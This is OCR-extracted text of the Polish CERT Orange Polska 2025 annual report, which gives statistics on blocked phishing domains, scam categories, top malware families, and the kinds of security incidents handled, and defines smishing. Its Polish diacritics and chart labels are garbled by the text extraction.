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W dzisiejszym, coraz bardziej cyfrowym swiecie zaufanie
stato sie naszg najcenniejszg walutg. Stanowi fundament
kazdej transakcji, kazdej rozmowy i kazdej innowacji.

Prezentujemy 12. edycje raportu CERT Orange Polska, ale
nasza misja pozostaje niezmieniona: dzieli¢ sie naszymi
ustaleniami i wzmacnia¢ $wiadomos¢ tak niezbedng do
poruszania si¢ w coraz bardziej skomplikowanym cyfro-
wym Swiecie.

Rok 2025 oznaczat decydujacy punkt zwrotny — pojawienie sie
nowego paradygmatu ksztattowanego przez sztuczng inteli-
gencje. Al pozwolita nam budowag inteligentniejsze i szybsze
systemy obronne, ale jednoczesnie uzbroita cyberprzestepcow
w narzedzia o bezprecedensowej, wyrafinowanej technologii.
Przeszlismy od ogdlnych oszustw do ery wysoce spersona-
lizowanego phishingu generowanego przez Al oraz starannie
zaplanowanych atakéw na taficuchy dostaw i infrastrukture
krytyczng. Zaréwno dla lideréw biznesu, jak i obywateli, ten
technologiczny skok wyniést cyberbezpieczenstwo z poziomu
problemu technicznego na poziom strategiczny — obejmujac
zar6bwno serwerownie, biura, jak i nasze domy.

Raport podkresla najpilniejsze wyzwania: podatnosci

w urzadzeniach sieciowych, coraz bardziej ztozone dzia-
fania grup APT (Advanced Persistent Threat) oraz rosngca
skale kampanii celowanych. Jako operator infrastruk-
tury krytycznej Orange Polska odgrywa kluczowa role

w ekosystemie cyfrowym. Nasza CyberTarcza pozostaje
pierwsza linig obrony — tylko w zesztym roku zablokowata
345 tysiecy domen phishingowych oraz ochronita prawie
5,5 miliona uzytkownikéw przed stratami finansowymi

i utratg danych.

Technologia to jednak tylko potowa sukcesu. Prawdziwa
odpornos¢ wymaga podejscia skoncentrowanego na
cztowieku. Dlatego nadal rozwijamy proaktywne ustugi,
takie jak Hasto Alert — nasz system wczesnego ostrzegania
powiadamiajacy uzytkownikéw, gdy ich dane logowania
pojawiaja sie w znanych wyciekach danych — oraz nowe
narzedzie, ktére pozwala kazdemu zweryfikowac wiary-
godnos$¢ domeny strony internetowej przed kliknieciem.

Dla naszych partneréw biznesowych wzmocnilismy
wyspecjalizowane wsparcie. Nasze Laboratorium OT
umozliwia firmom testowanie odpornosci ich infrastruk-
tury w bezpiecznym srodowisku, podczas gdy Centrum
Doswiadczen Cyberbezpieczenstwa zapewnia praktyczne
szkolenia, ktére pomagajg zespotom skutecznie reagowac
w przypadku kryzysu.

Raport, ktéory Wam przekazujemy, przedstawia nie tylko
najwazniejsze dane, ale takze obszary wymagajgce szcze-
golnej uwagi ze strony wszystkich uzytkownikéw internetu.
Cyberbezpieczenstwo nie jest juz wytagczng odpowie-
dzialnoscig specjalistow IT — to wspdlny obowigzek, ktory
wymaga aktywnego zaangazowania kazdego z nas.

Mozecie w tym uczestniczy¢, zgtaszajgc podejrzane
dziatania — wystarczy wysta¢ SMS pod specjalny numer
508 700 900.

Zapraszam do zapoznania si¢ z Raportem, zachowania
czujnosci i dotgczenia do nas w budowaniu bardziej od-
pornej cyfrowej przysztosci.
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- cyberodporna
| niezawodna

Robert Grabowski

W roku 2025 CyberTarcza przyniosta nam rekordy w dwoch aspektach:
ponad 13-proc. wzrost liczby ochronionych osoéb oraz blisko 15-proc.
wzrost w realizacji blokad w poréwnaniu z 2024 rokiem.
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Liczba zablokowanych domen i uzytkownikéw,
ktorzy sie ,,ztapali” w latach 2019-2025

zablokowane domeny [tys.]

uzytkownicy, ktérzy sie ,ztapali” [min]
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Rados¢ z powstrzymanego przez zespot bezpieczeristwa
zagrozenia jest spora, ale powyzsze statystyki pokazuja,
ze skutecznos$¢ kampanii phishingowych w Polsce jest
bardzo duza i ma bardzo wysoki poziom ,klikalnosci”. Az
5 min 490 tys. unikalnych uzytkownikéw — bez wzgledu
na to, czy otwierali ztosliwa strone jedynie z ciekawosci,
czy wierzac np. w rekordowy zysk z inwestycji — kazde
takie otworzenie strony jest czescig tego wyniku.

Jak plasuije sie 345 tys. blokad dla samego phishingu

na przestrzeni ostatnich lat, mozna zobaczy¢ ponize;j.
Przypomne, ze w statystykach nie rozrézniamy juz ruchu
HTTP i HTTPS z uwagi na przewazajacy odsetek tego
drugiego. Podobnie traktujemy liczbe blokowanych
domen. W miejsce statystyki obejmujacej pojedyncze
wpisy lub ,wildcard” prezentujemy liczbe samych blokad
(liczenie wszystkich subdomen, jakie pojawity sie na
takich blokadach, jest ktopotliwe, a w poza tym nie przy-
nosi wystarczajaco cennej informacji).

Zesztoroczny wynik wzmacnia przekonanie o skutecz-
nosci podejmowanych przez nas dziatari. Ogromng
pomoc w tym zakresie otrzymalismy takze od Was.
Kazdy z internautéw, ktéry wystat do nas jedng z 15 tys.
informacji poprzez SMS na numer 508 700 900 - o wia-
domosciach, reklamach, adresach stron wzbudzajgcych
niepokoj — takze jest wspottworca tego wyniku. Niemal
czterokrotny wzrost liczby przesytanych do nas SMS-6w
$wiadczy o Waszej uwaznosci i wspotodpowiedzialnosci
za bezpieczenstwo polskiego internetu.

5.5

5.0

4.5

4.0

3.5

3.0

Swietnie sprawdza sie tez ustuga Hasto Alert, ktéra daje
mozliwo$¢ sprawdzenia, niezaleznie od sieci, czy adres
mailowy widnieje w naszej bazie wyciekdéw. Z sub-
skrypcji tego rozwigzania korzysta juz niemal 40 tys.
internautow.

Wprowadzamy rowniez mechanizm samodzielnej weryfi-
kacji domen w portalu CERT, aby poméc uzytkownikom
w razie watpliwosci rozpoznawac te fatszywe. Weryfiku-
jemy, czy domena jest znana CyberTarczy, czy pojawita

sie na innych publicznych listach ostrzezen, a w niedale-
kiej przysztosci chcemy wprowadzi¢ dodatkowa analize

przesytanych URL-i i domen.

Zachecam Was do przypomnienia sobie m.in., czym jest
i jak dziata CyberTarcza, czym jest sinkhole - to opisa-
tem w artykule ,,CyberTarcza: Od prostej funkcjonalnosci
do inteligentnego rozwigzania” w Raporcie CERT Orange
Polska 2022.



https://cert.orange.pl/wp-content/uploads/2023/05/Raport_Orange_2022.pdf
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Liczba wpisow dla phishingu w tys.
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Scenariusze dominujacych oszustw w 2024

Fatszywe inwestycje Ptatnosci (w tym oszustwo
60% ,na kupujgcego”)
33%

Media spoteczno$ciowe
4%

[ Fatszywe sklepy - 1% H Malware — 0%

Scenariusze dominujacych oszustw w 2025

Fatszywe inwestycje Ptatnosci (w tym oszustwo
67,92% ,na kupujacego”)
26,78%

1 Fatszywe sklepy — 0,57% [ Malware - 0,26% M Media spotecznos$ciowe - 0,15%
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Poréwnujgc dwa ubiegte lata, widzimy, ze zdecydowa- | to wtasnie fatszywe gieldy i serwisy oferujace bar-
nie wiekszg zmiang jest marginalizacja liczby domen dzo szybki zysk bez ryzyka, kolportowane w gtow-
w kategorii ,Media spotecznosciowe” niz wzrost udzialu  nej mierze przez reklamy w mediach spoteczno-

w kategorii ,,Fatszywe inwestycje”, ,kosztem” réwniez Sciowych oraz najwiekszych sieciach reklamowych,
tych bezposrednio powigzanych z ptatnosciami (,Ptat- catkowicie zdominowaty ten ranking kolejny rok
nosci, w tym oszustwo ‘na kupujacego”). z rzedu.

Jak liczby domen przektadaja sie na ruch w sieci?

w roku 2024
100%
80%
60% I
40% I
20% I
0% . , : - PR o
styczen luty marzec  kwiecien maj czerwiec lipiec sierpien  wrzesien  pazdziernik listopad grudzien
m Fatszywe inwestycje Malware
B Fatszywe sklepy Media spotecznosciowe
m Inne B Ptatnosci (w tym oszustwo ,na kupujacego”)
w roku 2025
100%
80%
60%
40%
20%
styczen luty marzec  kwiecien maj czerwiec lipiec sierpien  wrzesien  pazdziernik listopad grudzien
m Fatszywe inwestycje Malware
m Fatszywe sklepy Media spotecznosciowe
m Inne B Platnosci (w tym oszustwo ,na kupujacego”)



Gdy spojrzymy przez pryzmat liczby uzytkownikéw sku-
szonych do odwiedzenia ztosliwej strony, do top 3 z przy-
tupem wkracza kategoria ,Fatszywe sklepy”. Z poziomu
blisko 5% $redniomiesiecznie w 2024 roku do prawie 12,5%
w roku 2025. Z jednej strony to oczywiste, ze w tym modelu
przestepstwa czas zycia domeny jest znacznie dtuzszy i do
pojedynczego sklepu kieruje wiele kampanii reklamowych,

z drugiej strony ponad dwukrotny wzrost to zaskoczenie. Po
pierwsze dlatego, ze jest to jeden powtarzajacy sie schemat,
po drugie raczej tatwo taki sklep samemu zweryfikowac

i wreszcie po trzecie wydaje sie, ze edukacja w tym zakresie
jest wszechobecna.

Mysle, ze za powyzszym ,sukcesem” stoi kolportaz w Meta
i szeroka dystrybucja nieSwiadomych uzytkownikéw, wtasnie
poprzez media spotecznosciowe.

Pozostate dwie kategorie to prawie 13% sSredniomiesiecz-
nie wejs¢ na witryny wytudzajgce ptatnosci i zdecydowana
dominacja, bo ponad 72% uzytkownikéw byto skutecznie

zwabionych na ,Fatszywe inwestycje”.

CyberTarcza 2025 - cyberodporna i niezawodna

Co kryje sie pod niektorymi
z wymienionych kategorii?

Oszustwo ,,na kupujacego” to wielokrotnie opisywane

w naszych raportach ataki powigzane najczesciej z portalami
aukcyjnymi/zakupowymi, gdzie kupujacym wysytane sa linki
(zazwyczaj poprzez WhatsApp) do rzekomej strony z od-
biorem pieniedzy za sprzedawany przedmiot. PotaczyliSmy
je w grupe pod nazwa ,,Ptatnosci”. W grupie tej znalazty sie
m.in.: niedostarczone przesyfki kurierskie, fatszywe ogtosze-
nia na portalach sprzedazowych czy strony typu ,,Przedtuze-
nie Netflixa”.

Fatszywe inwestycje to wszystkie ataki powigzane z oszu-
stwami oferujacymi niebotyczne zarobki poprzez wszelkiej
masci inwestycje (akcje znanych firm, gietdy kryptowalut,
piramidy finansowe, tajne sposoby politykéw itd.).

Czesto klikacie takze w przerézne skrétowce w SMS-ach,
prowadzace do oszukanczych stron. Skrécony link traktujcie
zawsze z dodatkowg ostroznoscia.

Statystyki CT 2024 vs. 2025

Top Malware w roku 2024

Win.Remcos
12%

Apk.Hookbot
5,7%

Apk.Aesimus

2,3%
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Apk.Badbox

Win.Lumma
2,3%

Apk.HiddenAds

Win.AsyncRat

1,5%

Elf.Mirai
2,3%

Apk.Triada
Win.RedLine
Win.Raccoon

3,2%
Elf. Moboot

1,1%

Win.Vidar
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Top Malware w roku 2025

Remcos.Rat Inne RedLine Quasar

37,54% 12,65% 8,01% Rat
4,68%

‘=
(]
N
o
o
@
N
N
o
e}
(e}

Badbox
4,33%

—
Q@
©
2
wn
©
£
S
=
4

Valyria
10,32%

Raccoon
3,79%

Dziatania cyberprzestepcéw
i metody atakow

Joker_Spy

1,46%

Void
1,38%

HookBot mobile
SMSPVA

Szczegoétowo o ztosliwym oprogramowaniu przeczytacie w artykule ,,Malware” oraz na cert.orange.pl.
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Blokady miesieczne
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Incydenty
bezpieczenstwa
obstugiwane przez

W niniejszym rozdziale przedstawiamy krajobraz incydentéw bezpie-
czenstwa obstuzonych przez nas w sposob nieautomatyczny w roku
2025. Incydenty dotycza ustugowych sieci internetowych, a anali-

zy gtéwnie podziatu na kategorie oraz poréwnan z ubiegtym rokiem.
Obstugiwane przypadki wystepowaly w sytuaciji ataku na zasoby do-
taczone do sieci Orange Polska, jak rowniez wtedy, gdy ataki zostaty
prowadzone z zasobow w tej sieci. Dotyczyly one wszelkich rodzajow
sieci z punktu widzenia ich uzytkownika koncowego, tj. uzytkownikéw
indywidualnych, a takze podmiotéw korporacyjnych.

Informacje o incydentach pochodzity zaréwno ze Zrédet zewnetrznych, jak i wewnetrznych
systemoéw bezpieczenstwa. Zewnetrzne Zrédta informacji to przede wszystkim zgtoszenia od
uzytkownikéw, informacje pochodzace od organizacji zajmujacych sie bezpieczeristwem czy
innych zespotéw CERT. Natomiast wtasne systemy bezpieczeristwa to m.in.: systemy wykrywania
wtaman i zapobiegania wtamaniom (IDPS), analizatory przeptywoéw sieciowych (flows) pod katem
atakéw DDoS oraz ztosliwych kodoéw, putapki sieciowe (honeypot), systemy zarzadzania informa-
cja zwigzang z bezpieczenstwem i zdarzeniami (SIEM).
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Rodzaje obstugiwanych incydentow bezpieczenstwa

Kategorie obstugiwanych incydentow

Kategoria incydentu

Opis oraz przyktady zdarzen

Obrazliwe i nielegalne tresci

Rozpowszechnianie niebezpiecznych i zabronionych prawem tresci (np. rozsytanie
spamu, dystrybucja/udostepnianie materiatéw chronionych prawem autorskim — pi-
ractwo/plagiat, pornografia dziecieca), a takze rozpowszechnianie tresci obrazliwych
lub grézb oraz innych zwigzanych z naruszeniem zasad i regut w internecie.

Ztosliwe oprogramowanie

Infekcje i rozpowszechnianie ztosliwego oprogramowania (np. hostowanie C&C,
ztosliwe oprogramowanie w zatgczniku wiadomosci lub link do skompromitowanego
adresu URL).

Gromadzenie informacji

Podejmowanie dziatann w celu uzyskania informacji o systemie lub sieci badz ich
uzytkownikach, zmierzajacych do nieautoryzowanego dostepu (np. skanowanie
portéw, podstuch, inzynieria spoteczna/phishing — w tym rozpowszechnianie e-maili
phishingowych, hostowanie stron phishingowych).

Préby wtaman

Proby uzyskania nieautoryzowanego dostepu do systemu lub sieci (np. wielokrotne
nieuprawnione préby logowania, préby naruszenia systemu lub zaktécania
funkcjonowania ustug przez wykorzystywanie podatnosci).

Wiamania sieciowe

Uzyskanie nieautoryzowanego dostepu do systemu lub sieci, tj. wtargniecie, na-
ruszenie systemu/przetamanie zabezpieczen (np. poprzez wykorzystanie znanych
podatnosci systemu), kompromitacja konta.

Dostepnosé¢ zasobow

Blokowanie dostepnosci zasobdéw sieciowych (systemu, danych), m.in. poprzez
wysytanie duzej ilosci danych, ktore skutkuje odmowa swiadczenia ustug (ataki typu
DDoS).

Bezpieczenstwo informaciji
(poufnosc i integralnosé
informaciji)

Naruszenie poufnosci lub integralnosci informaciji, najczesciej w efekcie
wczeshiejszego przejecia systemu lub przechwycenia danych podczas transmisiji
(np. przechwycenie i/lub udostepnienie okreslonego zbioru informacji, zniszczenie
lub modyfikacja danych w okreslonym zbiorze informacji).

Oszustwa i naduzycia sie-
ciowe

Czerpanie korzysci z nieuprawnionego wykorzystania technologii informacyjno-ko-
munikacyjnej/zasobdéw sieciowych (informacji, systemu) badz ich uzycie niezgodne
Z przeznaczeniem (np. uzycie nazwy organizacji bez pozwolenia czy uzycie zasobdéw
organizacji w celach pozastatutowych).

Zdarzenia, ktdre nie mieszcza sig w wymienionych kategoriach.

3%"[0 2,8%
'y

Rozkiad procentowy
kategorii incydentow
bezpieczenstwa

w roku 2025

47,5% Gromadzenie informaciji
15,8% Dostepnosé¢ zasobow
13,3% Ztosliwe oprogramowanie
11,6% Obrazliwe i nielegalne tresci
4,6% Proéby wiaman
3,8% Poufnos¢ i integralnos¢ informacii
2,8% Oszustwa sieciowe
0,5% Wifamania sieciowe
0,1% Inne




Stosowana przez nas klasyfikacja obejmuje wszelkie z punktu widzenia dziatan operacyjnych, pod katem osia-

typy zdarzen zgtaszanych i obstugiwanych przez zespoty gnietego celu. W praktyce w analizowanych incydentach
typu CSIRT/CERT. Kategorie oparte sg na typie i skut- uzywano zazwyczaj wielu metod i technik prowadzacych
ku dziatan naruszajgcych bezpieczenstwo, zwigzanych do osiagniecia okreslonego skutku, gtdwnie zwigzanych

z procesem ataku na system teleinformatyczny i jego z uzyciem ztosliwego oprogramowania, socjotechniki oraz
wykorzystaniem. Podziat taki przydatny jest gtéwnie technik hackingu.

Kolejne miejsce to ataki z kategorii ,,dostepnosé zasobow” (13,3%) - spadek

w stosunku do ubiegtego roku (o 1,9 pp.). Dalej sa: incydenty z grupy obrazliwych i nielegalnych tresci
(11,6%) - nieznaczny spadek w stosunku do ubiegtego roku (12,5 pp. w 2024 r.), oszustwa sieciowe
(4,6%) — wzrost w stosunku do ubiegtego roku (o 1,5 pp.), poufnos¢ i integralnos¢ informacji (3,8%)

— nieznaczny wzrost w stosunku do ubiegtego roku (1,1 pp. w 2024 r.), préby witaman (2,8%) - spadek
w stosunku do ubiegtego roku (o 4,1 pp.). Ponizej 1% zaklasyfikowano wlamania sieciowe. Inne, nie-
objete wspomnianymi kategoriami, stanowity nieznaczny odsetek obstuzonych incydentow.

Kategorie incydentow

w rozktadzie procentowym w latach 2025 i 2024

2025 2024

Gromadzenie
informaciji

Ztosliwe
oprogramowanie

Dostepno$é¢ zasobdw

Obrazliwe
i nielegalne tresci

Oszustwa sieciowe

Poufnosc i integralnosé
informaciji

Proby wtaman

Wiamania sieciowe

Inne

0%

4,6%

3,1%

3,8%
2,7%

2,8%

0,5%
0,7%

0,1%
0,1%

6,9%

10%

47,5%
45%

15,8%
13,8%

13,3%
15,2%

11,6%
12,5%

20% 30% 40% 50%
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Dziatania cyberprzestepcéw
i metody atakow

Metody ochrony i budowania
cyberodpornosci

Prognozy i kierunki rozwoju

Chronimy i pomagamy

Raport CERT Orange Polska 2025

Rozktad miesieczny incydentéw bezpieczenstwa w 2025 roku

z podziatem na kategorie

10%

8% —

6%

4%

Stosunek liczby incydentéw w miesiacu do liczby incydentéw w roku 2025

2%

0%

styczen luty marzec  kwiecien maj

czerwiec lipiec sierpien  wrzesien pazdziernik listopad grudzien

Miesiac

m Gromadzenie informaciji B Poufnosc i integralnos¢ informacji
B Ziosliwe oprogramowanie B Préby wtaman
1 Dostepnosc zasobow ® Wiamania sieciowe

ObraZliwe i nielegalne tresci H Inne

Oszustwa sieciowe

Rozktad w czasie wystepowania incydentéw bez-
pieczenistwa w 2025 roku nie jest regularny. Przede
wszystkim mozna zauwazy¢ wzrost liczby obstugiwa-
nych incydentéw w styczniu oraz listopadzie.

Gromadzenie informacji

Incydenty z kategorii ,gromadzenie informaciji”
stanowity najliczniejszg grupe obstuzonych w 2025
roku (47,5% wszystkich). Na grupe tych incydentow
sktadajg sie przede wszystkim przypadki phishingu
oraz skanowania portéw. Tego typu zagrozenia to

w wiekszosci przypadkow istotny element bardziej za-
awansowanych atakéw majacych na celu kradziez in-
formacji czy oszustwo finansowe. Na przestrzeni roku

najwiecej przypadkéw w tej kategorii wystapito w lipcu
oraz listopadzie. Spowodowane byto to zwigkszong
liczbg m.in. kampanii phishingowych podszywajgcych
sie pod Orange.

Ztosliwe oprogramowanie

Na klase incydentéw ,,ztosliwe oprogramowanie”
sktadaja sie przede wszystkim przypadki infekcji (m.in.:
infekciji ztosliwym oprogramowaniem typu ransomware,
trojan), dystrybucji ztosliwego oprogramowania (w tym
ztosliwe oprogramowanie w zatagczniku wiadomosci),
hostowania ztosliwych stron czy hostowania serwe-
réw Command&Control (C&C) kontrolujacych zdalnie
sie¢ zainfekowanych komputeréw. Incydentow o takiej



Incydenty bezpieczenstwa obstugiwane przez CERT Orange Polska

charakterystyce byto 15,8% posrod wszystkich obstuzonych
w roku 2025, zas najwiecej przypadkow w tej kategorii wy-
stgpito w marcu oraz kwietniu. W praktyce w znacznej czesci
analizowanych incydentéw cyberprzestepcy osiggneli zamie-
rzony cel przy uzyciu ztosliwego oprogramowania.

Dostepnos¢ zasobow

Na klase incydentéw ,dostepnos$¢ zasobdw” sktadajg sie
przede wszystkim przypadki atakéw typu Distributed Denial
of Service (DDoS). Incydentéw o takiej charakterystyce byto
13,3% w roku 2025, za$ na przestrzeni roku najwiecej incy-
dentéw w tej kategorii obstuzono w styczniu, lutym, lipcu oraz
marcu. Incydenty te, podobnie jak ztosliwe oprogramowanie,
moga by¢ szczegdinym zagrozeniem i powodowag istotne
straty, dlatego poswiecilismy im odrebna czes$¢ raportu.

Obrazliwe i nielegalne tresci

Na grupe incydentow okreslanych jako ,obrazZliwe i nielegal-
ne tresci” sktadaja sie przede wszystkim przypadki doty-
czace rozsytania spamu. Inne typy incydentéw w tej grupie
to m.in. przypadki dotyczgce naruszen praw autorskich

(np. piractwo) oraz rozpowszechniania tresci zabronionych
prawem (np. tresci rasistowskie, pornografia dziecigca czy
wychwalajace przemoc). W 2025 roku odnotowano 11,6%
tego typu przypadkow. W ciggu roku 2025 szczegdlne nasi-
lenie incydentéw w tej kategorii mozna byto zaobserwowac
w styczniu.

Préby wiaman

W kategorii ,,préby wtaman” ujeto gtéwnie przypadki usi-
towania przetamania zabezpieczen przez wykorzystanie
podatnosci systeméw, ich komponentéw lub catych sieci
oraz prob logowania do ustug lub systeméw dostepowych
(zgadywania haset), majgce na celu uzyskanie dostepu do
systemu czy przejecia nad nim kontroli. Incydentéw o takiej
charakterystyce byto 2,8% w roku 2025, za$ na przestrze-

ni roku najwiecej incydentéw w tej kategorii obstuzono
w styczniu.

Oszustwa sieciowe

W kategorii ,0szustwa sieciowe” zostaty zawarte gtéwnie
przypadki nieautoryzowanego uzycia zasobow i nielegal-
nego uzywania nazwy innego podmiotu bez jego zezwole-
nia. Przypadki te stanowity 4,6% wszystkich incydentéw,
najwiecej zas przypadkéw w tej kategorii na przestrzeni
roku wystapito w pazdzierniku oraz listopadzie. Przypadki te
dotyczyly gtéwnie atakéw podszywania sie pod znane marki
i instytucje w kampaniach ztosliwego oprogramowania oraz
phishingowych.

Poufnosc¢ i integralnosé informaciji

Na te klase sktadaja sie przypadki nieautoryzowanego
dostepu do informacji oraz zmiany lub usuniecia zbio-

réw informacji. W 2025 roku odnotowano 3,8% tego typu
przypadkéw. Niemniej jednak takie incydenty maja duzy
ciezar gatunkowy. W praktyce oznaczajg powazne problemy
zwigzane z wyciekiem informacji lub innymi konsekwencjami
nieautoryzowanego dostepu do nich. Na przestrzeni roku
najwiecej incydentow w tej kategorii obstuzono w styczniu.

Wilamania sieciowe

Na te klase incydentéw sktadajg sie typy incydentéw tozsa-
me z klasa ,,proby wtaman”, jednak zakoriczone pozytywnym
efektem z punktu widzenia atakujgcego. Incydentéw o takiej
charakterystyce byto 0,5% w roku 2025.

Inne

Incydenty niesklasyfikowane w poprzednich kategoriach
stanowity nieznaczny odsetek wszystkich przypadkow. Nie
mozna okresli¢ zadnego dominujacego rodzaju wsréd tych
incydentow.

cert.orange.pl
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Dziatania powodujace wystapienie incydentow

Aby bardziej zobrazowac typy dziatari naruszajgcych bezpieczeristwo, podobnie jak w ubiegtym roku, czes¢
incydentéw zostata poddana analizie pod katem dziatari zagrazajacych cyberbezpieczernswu, opierajgc sie na
modelu VERIS (Vocabulary for Event Recording and incident Sharing — http://veriscommunity.net/). W modelu
VERIS scenariusze wystepujacego zagrozenia oraz opis incydentu opierajg sie przede wszystkim na czterech
elementach (A4):

Actors (Aktorzy): Czyje dziatania dotknety zasoby?
Actions (Akcje): Jakie dziatania dotknety zasoby?
Assets (Aktywa): Jakie zasoby zostaty dotkniete?
Attributes (Atrybuty): Jak zostaty dotkniete zasoby?

Dziatania zwigzane z wystgpieniem zagrozenia opisuja, co zrobit zagrazajgcy aktor, aby spowodowac incydent
lub przyczyni¢ sie do jego wystapienia. Model VERIS obejmuje 7 podstawowych kategorii dziatarn zwigzanych
z wystepowaniem zagrozen (naruszeniem bezpieczenstwa): ztosliwe oprogramowanie, hakowanie, socjotechni-
ka, naduzycie fizyczne, btad oraz $rodowisko. W kazdym incydencie wystepuje co najmniej jeden typ dziatania,
ale zazwyczaj w wiekszosci przypadkow wystepuje wiele dziatan, czesto z wielu kategorii (stad suma ponad
100% na wykresie). Dziatania zagrozen opisuja akcje (uzyte metody i techniki), ktére wptywaja negatywnie na
zasoby i powoduja naruszenie bezpieczenstwa. Dla kazdej kategorii istnieje szereg wskaznikéw opisujacych
szczegoty dziatan, np. typ, sciezka lub wektor dziatania. Na podstawie analizy tych parametréw (trendéw,
czestotliwosci wystepowania) mozna dowiedzie¢ sie m.in. o tym, jak dochodzi do naruszenia, jakie zagrozenia
wystepuja najczesciej oraz jakie ataki najczesciej sg stosowane.

Na bazie incydentéw poddanych analizie, najwiekszg grupe stanowity dziatania te z klasy socjotechnika

(74,7 proc.) — wzrost w stosunku do poprzedniego roku (o 8,4 pp.). Na drugim miejscu znalazty sie dziatania

z kategorii hakowanie (72,3 proc.) — nieznaczny spadek w stosunku do poprzedniego roku (o 2,2 pp.). Kolejne
miejsce to zdarzenia z kategorii ztosliwe oprogramowanie (67,3 proc.) — nieznaczny wzrost w stosunku

do poprzedniego roku (o 3,3 pp.), dziatania z grupy naduzycie (14,0 proc.) — nieznaczny wzrost w stosunku
do poprzedniego roku (o 2,3 pp.), btad (5,4 proc.) — na zblizonym poziomie do poprzedniego roku. Ponizej

1 proc. zaklasyfikowano dziatania z grupy fizyczne oraz srodowiskowe — podobnie jak w poprzednim roku.

Kategorie dziatann powodujacych incydenty bezpieczenstwa

w rozktadzie procentowym w latach 2025 i 2024 H 2025 W 2024

Socjotechnika

Hakowanie

Ztosliwe
oprogramowanie

Naduzycie

Btad

Fizyczne

Kategorie dziatan powodujacych incydenty
bezpieczenstwa w rozktadzie procentowym

Srodowisko

10% 20% 30% 40% 50% 60% 70%

Udziat procentowy
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(dziatania naruszajace bezpieczenstwo)

Ztosliwe oprogramowanie

Hakowanie

Socjotechnika

Naduzycie

Fizyczne

Blad

Srodowisko

Wszelkie programy (m.in. kody, skrypty) o szkodliwym dziataniu w stosunku do systemu informacyj-
nego lub jego uzytkownika. Uruchamiane na urzadzeniu, ktére zmienia swdj stan, lub dziatanie bez
swiadomej zgody wiasciciela. Ztosliwe oprogramowanie mozna dzieli¢ na rézne sposoby i rodzaje.
Przede wszystkim jednak nalezy wyrdznic¢ ich funkcje dziatania, czyli jakie dziatania dany ztosliwy
program podjat, np. wysytanie danych do okreslonego celu (m.in. hostowanie C&C), backdoor, opro-
gramowanie szpiegujace, wysytanie spamu (w tym ztosliwe oprogramowanie w zataczniku wiadomo-
Sci lub link do skompromitowanego adresu URL), ataki sitowe czy stownikowe, ataki DoS.

Dziatalno$¢ zwigzana z wlamywaniem i wykorzystywaniem zasobow informacyjnych. Wszelkie proby
umysinego uzyskiwania dostepu lub majace na celu uszkodzenie zasobow informacyjnych bez (lub
z przekroczeniem) autoryzacji, poprzez obejscie lub udaremnienie logicznych mechanizméw zabez-
pieczen. Obejmuje m.in.: ataki przetamywania haset, ataki DoS, uzycie skradzionych poswiadczen
logowania.

Zarowno w kategorii ,Hakowanie” jak w i kategorii ,Naduzycie” wykorzystywane sg podobne wekto-
ry oraz osigga sie podobne cele. Réznica jest taka, ze w ,,Naduzyciu” aktor otrzymat legalnie dostep
i uprawnienia do zasobow informacyjnych (i wykorzystat je w sposéb nieuprawniony), natomiast

w ,Hakowaniu” dostep i uprawnienia aktor uzyskat bezprawnie.

Wszelkie dziatania wykorzystujace czynnik ludzki (uzytkownika). Jeden z najskuteczniejszych sposo-
bow i taktyk zdobywania poufnych informacji, wykorzystujacy najstabsze ogniwo zabezpieczen, czyli
cztowieka — oddziatywanie na inne osoby lub grupy spoteczne. Taktyki socjotechniczne to m.in.:
pretekst, oszustwo, manipulacja, podszywanie sie czy wymuszenie. Socjotechnika wykorzystywana
jest m.in. w atakach phishingowych, atakach wykorzystujgcych spam czy scam.

Definiowane jako wykorzystanie powierzonych zasobdéw informacyjnych lub przywilejéw w sposéb
sprzeczny z zamierzonym. Obejmuje m.in.: naruszenia zasad uzytkowania (np. poczty elektronicz-
nej), naduzycia administracyjne czy korzystanie z niezatwierdzonych zasobdéw (np. oprogramowa-
nia). Te dziatania moga by¢ ztosliwe lub nieztosliwe. Naduzycia dotycza wytacznie podmiotéw, ktére
cieszg sie pewnym zaufaniem ze strony organizacji, takich jak osoby z wewnatrz i partnerzy.

Zamierzone zagrozenia zwigzane z bliskos$cig, posiadaniem lub uzyciem sity. Obejmuje m.in.: kra-
dziez, manipulacje, szpiegowanie, sabotaz, dostep do urzadzen lokalnych, napasé. Zagrozenia natu-
ralne i awarie zasilania czesto sag klasyfikowane jako zagrozenia fizyczne. W tej klasyfikacji jednak
tego typu dziatania obejmuje kategoria ,Srodowiskowe”, z wyjatkiem umysinych dziatari popetnio-
nych przez cztowieka.

Wszystko, co zostato zrobione (lub pozostawione niewykonane) nieprawidtowo lub przypadkowo.
Obejmuje m.in.: pominigcia, btedne konfiguracje, btedy programowania, przeoczenia, awarie. Nie
obejmuje czegos zrobionego (lub pozostawionego niewykonanego) celowo lub domysinie, co péz-
niej okaze sie niemadre lub niewystarczajace.

Zaréwno zdarzenia naturalne, typu trzesienia ziemi czy powodzie, jak i zagrozenia $cisle zwig-
zane z bezposrednim otoczeniem czy infrastruktura, w ktérej znajduja sie chronione aktywa. Te
zwigzane z bezposrednim otoczeniem obejmuja m.in.: awarie zasilania, zaktécenia elektryczne czy
przecieki rur.
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Grzegorz ltowski

W rozdziale przedstawiamy krajobraz smishingu w sieci Orange
Polska, zwtaszcza skale oraz rodzaje niechcianych i ztosliwych
wiadomosci SMS/MMS, identyfikowanych i blokowanych

w analizowanych systemach Orange Polska. Analizy dotycza
przede wszystkim: rodzajow wykrywanych kampanii phishingowych,
zrédet ich wysytki oraz pordwnan z ubiegtym rokiem.



http://cert.orange.pl

Definicja smishingu

Smishing, wedtug Ustawy o zwalczaniu naduzy¢ w komunikagii elektronicznej, to wystanie krétkiej wiadomo-
$ci tekstowej (SMS), w ktérej nadawca podszywa sie pod inny podmiot w celu naktonienia odbiorcy do okre-
$lonego zachowania. W szczegdélnosci chodzi o przekazanie danych osobowych, niekorzystne rozporzadzenie
mieniem, otwarcie strony internetowej, inicjowanie potgczenia gtosowego lub instalacje oprogramowania.

Phishing to rodzaj oszustwa (scamu) opartego na socjotechnice, ktére ma na celu wytudzenie poufnych
danych lub skfonienie ofiary do podjecia niepozadanych dziatan przez spreparowanie fatszywej wiadomosci

i podszycie si¢ pod nadawce. Przyktadem moze by¢ wiadomos$¢é e-mail czy SMS o tresci zawierajgcej link pro-
wadzgcy do fatszywej strony logowania do serwisu bankowego oraz nakfaniajgcej odbiorce do klikniecia w ten
link celem podania swoich danych logowania. Smishing to forma phishingu przeprowadzanego za pomocag
wiadomosci SMS lub innych podobnych narzedzi komunikacji tekstowej (np. komunikator WhatsApp).

